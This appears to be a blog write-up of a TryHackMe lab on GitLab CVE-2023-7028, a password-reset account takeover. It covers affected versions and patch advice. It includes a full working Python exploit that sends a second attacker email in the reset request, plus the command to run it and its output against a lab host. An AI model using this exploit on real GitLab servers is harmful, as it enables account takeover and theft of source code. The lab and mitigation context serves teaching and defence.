GitLab CVE-2023-7028

This blog is based on TryHackMe’s room on GitLab CVE-2023-7028.

Learning Objectives

  • Exploit a GitLab CE instance through CVE 2023-7028
  • How the exploit works
  • Protection and mitigation measures

What is GitLab?

GitLab is a renowned and widely adopted web-based repository manager that provides a comprehensive platform for source code management, continuous integration, and collaboration in software development projects. Per the latest stats, the platform ranks first for CI/CD and DevOps tools, surpassing other vital platforms like GitHub, Azure, Jenkins, etc. In Jan 2024, the platform identified a critical vulnerability in its Community (CE) and Enterprise Edition (EE) that allows unauthorized users to take over user accounts, potentially including administrator accounts, without any interaction from the victim. The vulnerability was identified by asterion04 through a private bug bounty program and was assigned the severity Critical and CVE-ID 2023-7028.

How Does it Work?

The vulnerability was caused by a bug in how GitLab handled email verification during password reset. An attacker could provide two email addresses during a password reset request, and the reset code would be sent to both addresses. This allowed the attacker to reset the password of any user, even if they didn’t know the user’s current password.

Affected Versions

All instances of GitLab CE/EE using the following versions were vulnerable:

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

Impact

A successful attack could allow the attacker to control the victim’s GitLab account. This could allow the attacker to steal sensitive information, such as source code, commit history, and user credentials. The attacker could also use the compromised account to launch further attacks against other users or systems.

Technical Explanation

The vulnerability resided within GitLab’s POST /users/password API endpoint, which is responsible for a password reset. The pentester exploited a flaw in email address validation, bypassing checks with invalid formats. Upon receiving a password reset request with an attacker-controlled email, GitLab incorrectly generated a reset token and sent it to the invalid address. Attackers then intercept this token and use it with a valid target user’s email to initiate a password reset, ultimately hijacking the account.

If we look at the password reset request in GitLab, we can see it is requesting to the /users/password endpoint with authenticity_token (hidden CSRF protection token) and email address as a parameter. If a target provides another secondary email address, a password reset token is also sent to the address. 

Reset password request source code view

To understand how the vulnerability works, let’s have a source code review of the Gitlab 16.1 (CE) stable version commits carried out after 10 Jan 24. We can see that multiple changes have been made in the file’s repository. 

GitLab commit history for version 16.1

The code, located at spec/controllers/passwords_controller_spec.rb was accepting multiple emails as input; however, it lacked the email verification and validation mechanism to confirm if it was associated with the correct user. 

code edit to accept single mail

The attacker only required the authenticity_token during form submission and the victim’s email address to gain control of the target account.

How to Exploit

We can access the vulnerable GitLab version running on an Ubuntu machine at http://gitlab.thm:8000.

Add the IP address and the hostname to the host files first.

┌──(ishsome㉿kali)-[~/THM]
└─$ cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	kali


# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.26.184 gitlab.thm

Moreover, the email server is accessible at http://10.10.26.184:8090/rainloop, which will be used during exploitation with the following credentials:

  • Username: attacker@mail.gitlab.thm
  • Password: testing@123

Preparing the Payload

We will be using a modified version of the PoC developed by Vozec to take control of the administrator account. Create a new file called attack.py and add the following code.

import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()

class CVE_2023_7028:
    def __init__(self, url, target, evil=None):
        self.use_temp_mail = False
        self.url = urlparse(url)
        self.target = target
        self.evil = evil
        self.s = requests.session()

    def get_csrf_token(self):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
            regex = r'<meta name="csrf-token" content="(.*?)" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def ask_reset(self):
        token = self.get_csrf_token()
        if not token:
            return False

        query_string = urlencode({
            'authenticity_token': token,
            'user[email][]': [self.target, self.evil]
        }, doseq=True)

        head = {
            'Origin': f'{self.url.scheme}://{self.url.netloc}',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
            'Connection': 'close',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate, br'
        }

        print('[DEBUG] Sending reset password request')
        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           data=query_string,
                           headers=head,
                           verify=False).text
        sended = 'If your email address exists in our database' in html
        if sended:
            print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
            print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
        else:
            print('[DEBUG] Failed ... quitting')
        return sended

def parse_args():
    parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
    parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
    parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
    parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    exploit = CVE_2023_7028(
        url=args.url,
        target=args.target,
		evil=args.evil
    )
    if not exploit.ask_reset():
        exit()

The code first makes a POST request to the /users/password/new endpoint to scrap an authenticity token, then it makes another API call to the /users/password endpoint with the victim and attacker’s email addresses. As we know, the victim’s email address is victim@mail.gitlab.thm. Run the command shown in the terminal below to execute the exploit:

Before running the exploit, let’s log into the GitLab instance with the credentials provided at http://10.10.26.184:8090/rainloop.

Now, we can run the exploit by executing the following command:

┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/GitLab-CVE]
└─$ python3 attack.py -u http://10.10.26.184:8000 -t victim@mail.gitlab.thm -e attacker@mail.gitlab.thm
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = q8qAOV1wK3jL52tn0IoJ-2gCCknjh96Fc-iA8TUsQwr-C1rzL22U1lZYas5IswPrFA_SgKzC0FF44mWoWevBHg
[DEBUG] Sending reset password request
[DEBUG] Emails sent to victim@mail.gitlab.thm and attacker@mail.gitlab.thm !
Flag value: account_hack#d

We will get an email with the link to reset the password.

We can now access the link to reset the password for user victim@mail.gitlab.thm.

Logging with the new credentials, we see that we are logged in as Administrator!

Mitigation Techniques

As part of mitigation, GitLab has officially released the patch. We can see from the source code review that additional validation and verification steps have been added to the GitLab source code repository for the email address to curtail the possibility of exploitation in the future.

GitLab protection shield with logo

However, it is of paramount importance to see that non-compliance with secure coding practices leads to disastrous results.

So far, we learned how to perform the attack and how to detect the attack patterns in the logs; let’s talk about a few mitigation steps that we can take to prevent our servers from being exploited.

GitLab update security patch modal
  • Upgrade GitLab to a patched version.
  • Enable two-factor authentication (2FA) for all GitLab accounts, especially administrator accounts.
  • Follow secure coding practices, including proper input validation and email address verification.

Conclusion

This is it. As GitLab is a widely used platform and this vulnerability is still being exploited in the wild, it is recommended to keep an updated version of GitLab to avoid such vulnerabilities from being exploited